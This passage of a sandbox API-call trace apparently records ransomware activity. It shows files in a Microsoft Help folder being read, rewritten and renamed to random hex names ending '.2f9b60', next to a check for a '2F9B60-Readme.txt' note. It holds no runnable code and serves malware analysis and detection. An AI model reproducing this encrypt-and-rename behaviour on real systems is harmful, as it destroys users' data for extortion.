RtlRandomEx (in: Seed=0x202dfc30 | out: Seed=0x202dfc30) returned 0x69ceb30b [0086.786] RtlRandomEx (in: Seed=0x202dfc30 | out: Seed=0x202dfc30) returned 0x11a63e9c [0086.786] RtlRandomEx (in: Seed=0x202dfc30 | out: Seed=0x202dfc30) returned 0x31d3cddf [0086.786] RtlRandomEx (in: Seed=0x202dfc30 | out: Seed=0x202dfc30) returned 0x4fb52762 [0086.786] RtlRandomEx (in: Seed=0x202dfc30 | out: Seed=0x202dfc30) returned 0x24212b4e [0086.786] RtlRandomEx (in: Seed=0x202dfc30 | out: Seed=0x202dfc30) returned 0x4432c851 [0086.786] RtlRandomEx (in: Seed=0x202dfc30 | out: Seed=0x202dfc30) returned 0x6e1a6661 [0086.786] RtlRandomEx (in: Seed=0x202dfc30 | out: Seed=0x202dfc30) returned 0x38c61fa0 [0086.786] RtlRandomEx (in: Seed=0x202dfc30 | out: Seed=0x202dfc30) returned 0x7f1b860e [0086.786] RtlRandomEx (in: Seed=0x202dfc30 | out: Seed=0x202dfc30) returned 0x7be2240b [0086.786] RtlRandomEx (in: Seed=0x202dfc30 | out: Seed=0x202dfc30) returned 0x456272c9 [0086.786] RtlRandomEx (in: Seed=0x202dfc30 | out: Seed=0x202dfc30) returned 0x4ebdc8c [0086.786] RtlRandomEx (in: Seed=0x202dfc30 | out: Seed=0x202dfc30) returned 0x481afa4c [0086.786] RtlRandomEx (in: Seed=0x202dfc30 | out: Seed=0x202dfc30) returned 0x36bb5760 [0086.786] RtlRandomEx (in: Seed=0x202dfc30 | out: Seed=0x202dfc30) returned 0x5d3e5e43 [0086.787] RtlRandomEx (in: Seed=0x202dfc30 | out: Seed=0x202dfc30) returned 0x242d71d4 [0086.787] RtlRandomEx (in: Seed=0x202dfc30 | out: Seed=0x202dfc30) returned 0x50458b2c [0086.787] RtlRandomEx (in: Seed=0x202dfc30 | out: Seed=0x202dfc30) returned 0x669773be [0086.787] RtlRandomEx (in: Seed=0x202dfc30 | out: Seed=0x202dfc30) returned 0x4f7eb98c [0086.796] ReadFile (in: hFile=0x96c, lpBuffer=0x1cda08c0, nNumberOfBytesToRead=0x17c, lpNumberOfBytesRead=0x202dfc30, lpOverlapped=0x0 | out: lpBuffer=0x1cda08c0*, lpNumberOfBytesRead=0x202dfc30*=0x17c, lpOverlapped=0x0) returned 1 [0086.796] SetFilePointerEx (in: hFile=0x96c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.796] WriteFile (in: hFile=0x96c, lpBuffer=0x1cda44d0*, nNumberOfBytesToWrite=0x17c, lpNumberOfBytesWritten=0x202dfc34, lpOverlapped=0x0 | out: lpBuffer=0x1cda44d0*, lpNumberOfBytesWritten=0x202dfc34*=0x17c, lpOverlapped=0x0) returned 1 [0086.801] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82b200 [0086.801] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82b140 [0086.801] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82b140) returned 1 [0086.801] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cda44d0) returned 1 [0086.801] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cda08c0) returned 1 [0086.801] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79dbf0) returned 1 [0086.801] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97210) returned 1 [0086.801] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x48) returned 0x1cd97210 [0086.801] SetFilePointerEx (in: hFile=0x96c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0086.801] WriteFile (in: hFile=0x96c, lpBuffer=0x1885d0*, nNumberOfBytesToWrite=0x12c, lpNumberOfBytesWritten=0x202dfd50, lpOverlapped=0x0 | out: lpBuffer=0x1885d0*, lpNumberOfBytesWritten=0x202dfd50*=0x12c, lpOverlapped=0x0) returned 1 [0086.803] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97260 [0086.804] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b79dbf0 [0086.804] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82a870 [0086.804] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82a870) returned 1 [0086.804] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3a) returned 0x1cd97300 [0086.804] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82a870 [0086.804] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82b050 [0086.804] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82b050) returned 1 [0086.804] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79dbf0) returned 1 [0086.804] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97260) returned 1 [0086.804] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x75) returned 0x1b79dbf0 [0086.804] sprintf (in: _Dest=0x1b79dbf0, _Format="%c%c" | out: _Dest="4f") returned 2 [0086.804] sprintf (in: _Dest=0x1b79dbf2, _Format="%c%c" | out: _Dest="53") returned 2 [0086.804] sprintf (in: _Dest=0x1b79dbf4, _Format="%c%c" | out: _Dest="34") returned 2 [0086.804] sprintf (in: _Dest=0x1b79dbf6, _Format="%c%c" | out: _Dest="e9") returned 2 [0086.804] sprintf (in: _Dest=0x1b79dbf8, _Format="%c%c" | out: _Dest="e5") returned 2 [0086.804] sprintf (in: _Dest=0x1b79dbfa, _Format="%c%c" | out: _Dest="c5") returned 2 [0086.804] sprintf (in: _Dest=0x1b79dbfc, _Format="%c%c" | out: _Dest="be") returned 2 [0086.804] sprintf (in: _Dest=0x1b79dbfe, _Format="%c%c" | out: _Dest="90") returned 2 [0086.804] sprintf (in: _Dest=0x1b79dc00, _Format="%c%c" | out: _Dest="c3") returned 2 [0086.804] sprintf (in: _Dest=0x1b79dc02, _Format="%c%c" | out: _Dest="1b") returned 2 [0086.804] sprintf (in: _Dest=0x1b79dc04, _Format="%c%c" | out: _Dest="5e") returned 2 [0086.804] sprintf (in: _Dest=0x1b79dc06, _Format="%c%c" | out: _Dest="c9") returned 2 [0086.804] sprintf (in: _Dest=0x1b79dc08, _Format="%c%c" | out: _Dest="74") returned 2 [0086.804] sprintf (in: _Dest=0x1b79dc0a, _Format="%c%c" | out: _Dest="6f") returned 2 [0086.804] sprintf (in: _Dest=0x1b79dc0c, _Format="%c%c" | out: _Dest="3e") returned 2 [0086.804] sprintf (in: _Dest=0x1b79dc0e, _Format="%c%c" | out: _Dest="f9") returned 2 [0086.804] sprintf (in: _Dest=0x1b79dc10, _Format="%c%c" | out: _Dest="33") returned 2 [0086.804] sprintf (in: _Dest=0x1b79dc12, _Format="%c%c" | out: _Dest="6a") returned 2 [0086.805] sprintf (in: _Dest=0x1b79dc14, _Format="%c%c" | out: _Dest="7a") returned 2 [0086.805] sprintf (in: _Dest=0x1b79dc16, _Format="%c%c" | out: _Dest="16") returned 2 [0086.805] sprintf (in: _Dest=0x1b79dc18, _Format="%c%c" | out: _Dest="60") returned 2 [0086.805] sprintf (in: _Dest=0x1b79dc1a, _Format="%c%c" | out: _Dest="f1") returned 2 [0086.805] sprintf (in: _Dest=0x1b79dc1c, _Format="%c%c" | out: _Dest="08") returned 2 [0086.805] sprintf (in: _Dest=0x1b79dc1e, _Format="%c%c" | out: _Dest="60") returned 2 [0086.805] sprintf (in: _Dest=0x1b79dc20, _Format="%c%c" | out: _Dest="f7") returned 2 [0086.805] sprintf (in: _Dest=0x1b79dc22, _Format="%c%c" | out: _Dest="9b") returned 2 [0086.805] sprintf (in: _Dest=0x1b79dc24, _Format="%c%c" | out: _Dest="be") returned 2 [0086.805] sprintf (in: _Dest=0x1b79dc26, _Format="%c%c" | out: _Dest="11") returned 2 [0086.805] sprintf (in: _Dest=0x1b79dc28, _Format="%c%c" | out: _Dest="f8") returned 2 [0086.805] sprintf (in: _Dest=0x1b79dc2a, _Format="%c%c" | out: _Dest="35") returned 2 [0086.805] sprintf (in: _Dest=0x1b79dc2c, _Format="%c%c" | out: _Dest="63") returned 2 [0086.805] sprintf (in: _Dest=0x1b79dc2e, _Format="%c%c" | out: _Dest="bd") returned 2 [0086.805] sprintf (in: _Dest=0x1b79dc30, _Format="%c%c" | out: _Dest="11") returned 2 [0086.805] sprintf (in: _Dest=0x1b79dc32, _Format="%c%c" | out: _Dest="a8") returned 2 [0086.805] sprintf (in: _Dest=0x1b79dc34, _Format="%c%c" | out: _Dest="88") returned 2 [0086.805] sprintf (in: _Dest=0x1b79dc36, _Format="%c%c" | out: _Dest="46") returned 2 [0086.805] sprintf (in: _Dest=0x1b79dc38, _Format="%c%c" | out: _Dest="3c") returned 2 [0086.805] sprintf (in: _Dest=0x1b79dc3a, _Format="%c%c" | out: _Dest="31") returned 2 [0086.805] sprintf (in: _Dest=0x1b79dc3c, _Format="%c%c" | out: _Dest="0b") returned 2 [0086.805] sprintf (in: _Dest=0x1b79dc3e, _Format="%c%c" | out: _Dest="29") returned 2 [0086.805] sprintf (in: _Dest=0x1b79dc40, _Format="%c%c" | out: _Dest="e6") returned 2 [0086.805] sprintf (in: _Dest=0x1b79dc42, _Format="%c%c" | out: _Dest="47") returned 2 [0086.805] sprintf (in: _Dest=0x1b79dc44, _Format="%c%c" | out: _Dest="86") returned 2 [0086.805] sprintf (in: _Dest=0x1b79dc46, _Format="%c%c" | out: _Dest="26") returned 2 [0086.805] sprintf (in: _Dest=0x1b79dc48, _Format="%c%c" | out: _Dest="6b") returned 2 [0086.805] sprintf (in: _Dest=0x1b79dc4a, _Format="%c%c" | out: _Dest="a0") returned 2 [0086.805] sprintf (in: _Dest=0x1b79dc4c, _Format="%c%c" | out: _Dest="13") returned 2 [0086.805] sprintf (in: _Dest=0x1b79dc4e, _Format="%c%c" | out: _Dest="24") returned 2 [0086.805] sprintf (in: _Dest=0x1b79dc50, _Format="%c%c" | out: _Dest="ef") returned 2 [0086.806] sprintf (in: _Dest=0x1b79dc52, _Format="%c%c" | out: _Dest="8d") returned 2 [0086.806] sprintf (in: _Dest=0x1b79dc54, _Format="%c%c" | out: _Dest="6c") returned 2 [0086.806] sprintf (in: _Dest=0x1b79dc56, _Format="%c%c" | out: _Dest="af") returned 2 [0086.806] sprintf (in: _Dest=0x1b79dc58, _Format="%c%c" | out: _Dest="19") returned 2 [0086.806] sprintf (in: _Dest=0x1b79dc5a, _Format="%c%c" | out: _Dest="e8") returned 2 [0086.806] sprintf (in: _Dest=0x1b79dc5c, _Format="%c%c" | out: _Dest="e0") returned 2 [0086.806] sprintf (in: _Dest=0x1b79dc5e, _Format="%c%c" | out: _Dest="36") returned 2 [0086.806] sprintf (in: _Dest=0x1b79dc60, _Format="%c%c" | out: _Dest="dc") returned 2 [0086.806] sprintf (in: _Dest=0x1b79dc62, _Format="%c%c" | out: _Dest="74") returned 2 [0086.806] RtlInitAnsiString (in: DestinationString=0x202dfdc8, SourceString="4f5334e9e5c5be90c31b5ec9746f3ef9336a7a1660f10860f79bbe11f83563bd11a888463c310b29e64786266ba01324ef8d6caf19e8e036dc74" | out: DestinationString="4f5334e9e5c5be90c31b5ec9746f3ef9336a7a1660f10860f79bbe11f83563bd11a888463c310b29e64786266ba01324ef8d6caf19e8e036dc74") [0086.806] RtlAnsiStringToUnicodeString (in: DestinationString=0x202dfd98, SourceString="4f5334e9e5c5be90c31b5ec9746f3ef9336a7a1660f10860f79bbe11f83563bd11a888463c310b29e64786266ba01324ef8d6caf19e8e036dc74", AllocateDestinationString=1 | out: DestinationString="4f5334e9e5c5be90c31b5ec9746f3ef9336a7a1660f10860f79bbe11f83563bd11a888463c310b29e64786266ba01324ef8d6caf19e8e036dc74") returned 0x0 [0086.806] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xea) returned 0x1b772eb0 [0086.806] wcscat (in: _Dest=0x1b85c840, _Source="4f5334e9e5c5be90c31b5ec9746f3" | out: _Dest="C:\\ProgramData\\Microsoft Help\\4f5334e9e5c5be90c31b5ec9746f3") returned="C:\\ProgramData\\Microsoft Help\\4f5334e9e5c5be90c31b5ec9746f3" [0086.806] wcscat (in: _Dest=0x1b85c840, _Source=".2f9b60" | out: _Dest="C:\\ProgramData\\Microsoft Help\\4f5334e9e5c5be90c31b5ec9746f3.2f9b60") returned="C:\\ProgramData\\Microsoft Help\\4f5334e9e5c5be90c31b5ec9746f3.2f9b60" [0086.806] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\ProgramData\\Microsoft Help\\4f5334e9e5c5be90c31b5ec9746f3.2f9b60", NtPathName=0x202dfd70, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\ProgramData\\Microsoft Help\\4f5334e9e5c5be90c31b5ec9746f3.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0086.806] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa4) returned 0x1b7a59c0 [0086.808] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7a59c0) returned 1 [0086.808] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b77ad20) returned 1 [0086.808] NtQueryInformationFile (in: FileHandle=0x96c, IoStatusBlock=0x202dfdd8, FileInformation=0x202dfde8, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x202dfdd8, FileInformation=0x202dfde8) returned 0x0 [0086.808] NtSetInformationFile (FileHandle=0x96c, IoStatusBlock=0x202dfdd8, FileInformation=0x202dfde8, Length=0x28, FileInformationClass=0x4) returned 0x0 [0086.809] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85c840) returned 1 [0086.809] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b772eb0) returned 1 [0086.809] FlushFileBuffers (hFile=0x96c) returned 1 [0086.810] CloseHandle (hObject=0x96c) returned 1 [0086.811] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x1b7c1f00 [0086.811] wcscpy (in: _Dest=0x1b7c1f00, _Source="C:\\ProgramData\\Microsoft Help\\" | out: _Dest="C:\\ProgramData\\Microsoft Help\\") returned="C:\\ProgramData\\Microsoft Help\\" [0086.811] wcscat (in: _Dest=0x1b7c1f00, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\ProgramData\\Microsoft Help\\2F9B60-Readme.txt") returned="C:\\ProgramData\\Microsoft Help\\2F9B60-Readme.txt" [0086.811] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft Help\\2F9B60-Readme.txt" (normalized: "c:\\programdata\\microsoft help\\2f9b60-readme.txt")) returned 0x2020 [0086.811] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7c1f00) returned 1 [0086.811] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79dc70) returned 1 Thread: id = 206 os_tid = 0xc68 [0086.813] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft Help\\MS.MSACCESS.14.1033.hxn" (normalized: "c:\\programdata\\microsoft help\\ms.msaccess.14.1033.hxn")) returned 0x2022 [0086.834] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft Help\\MS.MSACCESS.14.1033.hxn", dwFileAttributes=0x20) returned 1 [0086.834] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft Help\\MS.MSACCESS.14.1033.hxn" (normalized: "c:\\programdata\\microsoft help\\ms.msaccess.14.1033.hxn"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x96c [0086.834] GetFileSizeEx (in: hFile=0x96c, lpFileSize=0x2037f7e0 | out: lpFileSize=0x2037f7e0*=344) returned 1 [0086.834] SetFilePointerEx (in: hFile=0x96c, liDistanceToMove=0x154, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.835] ReadFile (in: hFile=0x96c, lpBuffer=0x2037f760, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2037f7a8, lpOverlapped=0x0 | out: lpBuffer=0x2037f760*, lpNumberOfBytesRead=0x2037f7a8*=0x4, lpOverlapped=0x0) returned 1 [0086.835] SetFilePointerEx (in: hFile=0x96c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.835] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82b230 [0086.836] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82b1d0 [0086.836] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82b170 [0086.836] NtQuerySystemTime (in: CurrentTime=0x2037f6a0 | out: CurrentTime=0x2037f6a0*=132462176927182000) returned 0x0 [0086.836] RtlRandomEx (in: Seed=0x2037f690 | out: Seed=0x2037f690) returned 0x5f141a80 [0086.836] RtlRandomEx (in: Seed=0x2037f690 | out: Seed=0x2037f690) returned 0xd725b43 [0086.836] RtlRandomEx (in: Seed=0x2037f690 | out: Seed=0x2037f690) returned 0x4339f6c5 [0086.836] RtlRandomEx (in: Seed=0x2037f690 | out: Seed=0x2037f690) returned 0x1fb159eb [0086.836] RtlRandomEx (in: Seed=0x2037f690 | out: Seed=0x2037f690) returned 0x24f79600 [0086.836] RtlRandomEx (in: Seed=0x2037f690 | out: Seed=0x2037f690) returned 0x7d543c2f [0086.836] RtlRandomEx (in: Seed=0x2037f690 | out: Seed=0x2037f690) returned 0x408962c0 [0086.836] RtlRandomEx (in: Seed=0x2037f690 | out: Seed=0x2037f690) returned 0x6a13630e [0086.836] RtlRandomEx (in: Seed=0x2037f690 | out: Seed=0x2037f690) returned 0x524051a9 [0086.836] RtlRandomEx (in: Seed=0x2037f690 | out: Seed=0x2037f690) returned 0xdf2e583 [0086.836] RtlRandomEx (in: Seed=0x2037f690 | out: Seed=0x2037f690) returned 0x125ad472 [0086.836] RtlRandomEx (in: Seed=0x2037f690 | out: Seed=0x2037f690) returned 0x17456b2c [0086.836] RtlRandomEx (in: Seed=0x2037f690 | out: Seed=0x2037f690) returned 0x6532a6eb [0086.836] RtlRandomEx (in: Seed=0x2037f690 | out: Seed=0x2037f690) returned 0x55b8ff9a [0086.836] RtlRandomEx (in: Seed=0x2037f690 | out: Seed=0x2037f690) returned 0x655875da [0086.836] RtlRandomEx (in: Seed=0x2037f690 | out: Seed=0x2037f690) returned 0x29ca1731 [0086.836] RtlRandomEx (in: Seed=0x2037f690 | out: Seed=0x2037f690) returned 0x5a8e3187 [0086.836] RtlRandomEx (in: Seed=0x2037f690 | out: Seed=0x2037f690) returned 0xc05e9c3 [0086.836] RtlRandomEx (in: Seed=0x2037f690 | out: Seed=0x2037f690) returned 0x58fb034b [0086.836] RtlRandomEx (in: Seed=0x2037f690 | out: Seed=0x2037f690) returned 0x6145dccd [0086.836] RtlRandomEx (in: Seed=0x2037f690 | out: Seed=0x2037f690) returned 0x66ee8eb8 [0086.836] RtlRandomEx (in: Seed=0x2037f690 | out: Seed=0x2037f690) returned 0x1bf6b3bd [0086.836] RtlRandomEx (in: Seed=0x2037f690 | out: Seed=0x2037f690) returned 0x69442918 [0086.836] RtlRandomEx (in: Seed=0x2037f690 | out: Seed=0x2037f690) returned 0x1e7f38f1 [0086.836] RtlRandomEx (in: Seed=0x2037f690 | out: Seed=0x2037f690) returned 0x1c831627 [0086.836] RtlRandomEx (in: Seed=0x2037f690 | out: Seed=0x2037f690) returned 0x4ab86444 [0086.836] RtlRandomEx (in: Seed=0x2037f690 | out: Seed=0x2037f690) returned 0x26d3dafc [0086.836] RtlRandomEx (in: Seed=0x2037f690 | out: Seed=0x2037f690) returned 0x1e8608ca [0086.837] RtlRandomEx (in: Seed=0x2037f690 | out: Seed=0x2037f690) returned 0xde14367 [0086.837] RtlRandomEx (in: Seed=0x2037f690 | out: Seed=0x2037f690) returned 0x664b6d45 [0086.837] RtlRandomEx (in: Seed=0x2037f690 | out: Seed=0x2037f690) returned 0x211c67c [0086.837] RtlRandomEx (in: Seed=0x2037f690 | out: Seed=0x2037f690) returned 0x6c5d28ad [0086.846] ReadFile (in: hFile=0x96c, lpBuffer=0x1cda08c0, nNumberOfBytesToRead=0x158, lpNumberOfBytesRead=0x2037f690, lpOverlapped=0x0 | out: lpBuffer=0x1cda08c0*, lpNumberOfBytesRead=0x2037f690*=0x158, lpOverlapped=0x0) returned 1 [0086.846] SetFilePointerEx (in: hFile=0x96c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.846] WriteFile (in: hFile=0x96c, lpBuffer=0x1cda44d0*, nNumberOfBytesToWrite=0x158, lpNumberOfBytesWritten=0x2037f694, lpOverlapped=0x0 | out: lpBuffer=0x1cda44d0*, lpNumberOfBytesWritten=0x2037f694*=0x158, lpOverlapped=0x0) returned 1 [0086.848] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82b230 [0086.848] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82b170 [0086.849] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82b170) returned 1 [0086.849] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cda44d0) returned 1 [0086.849] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cda08c0) returned 1 [0086.849] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79dc70) returned 1 [0086.849] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97210) returned 1 [0086.849] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c) returned 0x1cd97210 [0086.849] SetFilePointerEx (in: hFile=0x96c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0086.849] WriteFile (in: hFile=0x96c, lpBuffer=0x1b7d3a20*, nNumberOfBytesToWrite=0x120, lpNumberOfBytesWritten=0x2037f7b0, lpOverlapped=0x0 | out: lpBuffer=0x1b7d3a20*, lpNumberOfBytesWritten=0x2037f7b0*=0x120, lpOverlapped=0x0) returned 1 [0086.852] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd972b0 [0086.852] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b79dc70 [0086.852] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82b140 [0086.852] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82b140) returned 1 [0086.852] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x2e) returned 0x1cd9eeb0 [0086.852] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82b140 [0086.852] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82a870 [0086.853] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82a870) returned 1 [0086.853] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79dc70) returned 1 [0086.853] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd972b0) returned 1 [0086.853] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x5d) returned 0x1b7c1f00 [0086.853] sprintf (in: _Dest=0x1b7c1f00, _Format="%c%c" | out: _Dest="b6") returned 2 [0086.853] sprintf (in: _Dest=0x1b7c1f02, _Format="%c%c" | out: _Dest="20") returned 2 [0086.853] sprintf (in: _Dest=0x1b7c1f04, _Format="%c%c" | out: _Dest="0d") returned 2 [0086.853] sprintf (in: _Dest=0x1b7c1f06, _Format="%c%c" | out: _Dest="61") returned 2 [0086.853] sprintf (in: _Dest=0x1b7c1f08, _Format="%c%c" | out: _Dest="10") returned 2 [0086.853] sprintf (in: _Dest=0x1b7c1f0a, _Format="%c%c" | out: _Dest="d7") returned 2 [0086.853] sprintf (in: _Dest=0x1b7c1f0c, _Format="%c%c" | out: _Dest="4c") returned 2 [0086.853] sprintf (in: _Dest=0x1b7c1f0e, _Format="%c%c" | out: _Dest="12") returned 2 [0086.853] sprintf (in: _Dest=0x1b7c1f10, _Format="%c%c" | out: _Dest="e6") returned 2 [0086.853] sprintf (in: _Dest=0x1b7c1f12, _Format="%c%c" | out: _Dest="12") returned 2 [0086.853] sprintf (in: _Dest=0x1b7c1f14, _Format="%c%c" | out: _Dest="aa") returned 2 [0086.853] sprintf (in: _Dest=0x1b7c1f16, _Format="%c%c" | out: _Dest="cb") returned 2 [0086.853] sprintf (in: _Dest=0x1b7c1f18, _Format="%c%c" | out: _Dest="33") returned 2 [0086.853] sprintf (in: _Dest=0x1b7c1f1a, _Format="%c%c" | out: _Dest="34") returned 2 [0086.853] sprintf (in: _Dest=0x1b7c1f1c, _Format="%c%c" | out: _Dest="02") returned 2 [0086.853] sprintf (in: _Dest=0x1b7c1f1e, _Format="%c%c" | out: _Dest="0d") returned 2 [0086.853] sprintf (in: _Dest=0x1b7c1f20, _Format="%c%c" | out: _Dest="63") returned 2 [0086.853] sprintf (in: _Dest=0x1b7c1f22, _Format="%c%c" | out: _Dest="c2") returned 2 [0086.853] sprintf (in: _Dest=0x1b7c1f24, _Format="%c%c" | out: _Dest="28") returned 2 [0086.853] sprintf (in: _Dest=0x1b7c1f26, _Format="%c%c" | out: _Dest="35") returned 2 [0086.853] sprintf (in: _Dest=0x1b7c1f28, _Format="%c%c" | out: _Dest="20") returned 2 [0086.854] sprintf (in: _Dest=0x1b7c1f2a, _Format="%c%c" | out: _Dest="12") returned 2 [0086.854] sprintf (in: _Dest=0x1b7c1f2c, _Format="%c%c" | out: _Dest="87") returned 2 [0086.854] sprintf (in: _Dest=0x1b7c1f2e, _Format="%c%c" | out: _Dest="fe") returned 2 [0086.854] sprintf (in: _Dest=0x1b7c1f30, _Format="%c%c" | out: _Dest="33") returned 2 [0086.854] sprintf (in: _Dest=0x1b7c1f32, _Format="%c%c" | out: _Dest="a7") returned 2 [0086.854] sprintf (in: _Dest=0x1b7c1f34, _Format="%c%c" | out: _Dest="26") returned 2 [0086.854] sprintf (in: _Dest=0x1b7c1f36, _Format="%c%c" | out: _Dest="bc") returned 2 [0086.854] sprintf (in: _Dest=0x1b7c1f38, _Format="%c%c" | out: _Dest="9e") returned 2 [0086.854] sprintf (in: _Dest=0x1b7c1f3a, _Format="%c%c" | out: _Dest="d9") returned 2 [0086.854] sprintf (in: _Dest=0x1b7c1f3c, _Format="%c%c" | out: _Dest="45") returned 2 [0086.854] sprintf (in: _Dest=0x1b7c1f3e, _Format="%c%c" | out: _Dest="01") returned 2 [0086.854] sprintf (in: _Dest=0x1b7c1f40, _Format="%c%c" | out: _Dest="90") returned 2 [0086.854] sprintf (in: _Dest=0x1b7c1f42, _Format="%c%c" | out: _Dest="c0") returned 2 [0086.854] sprintf (in: _Dest=0x1b7c1f44, _Format="%c%c" | out: _Dest="f9") returned 2 [0086.854] sprintf (in: _Dest=0x1b7c1f46, _Format="%c%c" | out: _Dest="b4") returned 2 [0086.854] sprintf (in: _Dest=0x1b7c1f48, _Format="%c%c" | out: _Dest="81") returned 2 [0086.854] sprintf (in: _Dest=0x1b7c1f4a, _Format="%c%c" | out: _Dest="33") returned 2 [0086.854] sprintf (in: _Dest=0x1b7c1f4c, _Format="%c%c" | out: _Dest="2a") returned 2 [0086.854] sprintf (in: _Dest=0x1b7c1f4e, _Format="%c%c" | out: _Dest="28") returned 2 [0086.854] sprintf (in: _Dest=0x1b7c1f50, _Format="%c%c" | out: _Dest="8f") returned 2 [0086.854] sprintf (in: _Dest=0x1b7c1f52, _Format="%c%c" | out: _Dest="4c") returned 2 [0086.854] sprintf (in: _Dest=0x1b7c1f54, _Format="%c%c" | out: _Dest="31") returned 2 [0086.854] sprintf (in: _Dest=0x1b7c1f56, _Format="%c%c" | out: _Dest="2e") returned 2 [0086.854] sprintf (in: _Dest=0x1b7c1f58, _Format="%c%c" | out: _Dest="ce") returned 2 [0086.854] sprintf (in: _Dest=0x1b7c1f5a, _Format="%c%c" | out: _Dest="ff") returned 2 [0086.854] RtlInitAnsiString (in: DestinationString=0x2037f828, SourceString="b6200d6110d74c12e612aacb3334020d63c22835201287fe33a726bc9ed9450190c0f9b481332a288f4c312eceff" | out: DestinationString="b6200d6110d74c12e612aacb3334020d63c22835201287fe33a726bc9ed9450190c0f9b481332a288f4c312eceff") [0086.854] RtlAnsiStringToUnicodeString (in: DestinationString=0x2037f7f8, SourceString="b6200d6110d74c12e612aacb3334020d63c22835201287fe33a726bc9ed9450190c0f9b481332a288f4c312eceff", AllocateDestinationString=1 | out: 